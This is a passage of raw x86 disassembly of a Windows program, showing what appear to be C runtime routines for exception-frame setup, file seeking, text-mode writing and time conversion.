loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2

loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh

loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2

loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB358
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------

loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]

loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0

loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43C8F4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------

loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]

loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0

loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DC948
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------

loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]

loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2650000h

loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43CDBC[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi

loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43CCD8
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43CCDC, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721

loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43CCE0

loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------

loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh

loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DC700
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC600h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB2A8, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2750000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		nop
		call	near ptr 2670D55h
		jmp	short loc_422791
; ---------------------------------------------------------------------------

loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax

loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------

loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9

loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh

loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx

loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DC600[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx

loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]

loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------

loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB2A8, 16h

loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------

loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]

loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------

loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------

loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB

loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]

loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]

loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DC700
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E

loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------

loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch

loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85

loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]

loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4

loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E

loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi

loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB2A8, 9
		mov	dword_4DB2AC, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------

loc_422A42:				; CODE XREF: sub_42291D+E0j
		call	near ptr 2670D55h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------

loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A6F:				; CODE XREF: sub_42291D+145j
		call	near ptr 2670D55h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967

loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB2A8, 1Ch
		mov	dword_4DB2AC, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------

loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9

loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh

loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DB37C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DB37C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------

loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CAE5C
		push	esi
		push	edi
		nop
		call	near ptr 26411CCh
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DB37C, 2

loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DB37C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 26411CCh
		nop
		jmp	loc_422C5A
; ---------------------------------------------------------------------------

loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DB374
		mov	[ebp+arg_18], eax

loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2800000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2800000h
		nop
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		test	eax, eax
		jnz	loc_422CE7

loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax

loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------

loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27F104Eh
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58

loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------

loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DB380
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DB380, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43C970
		mov	edx, dword_43C974
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
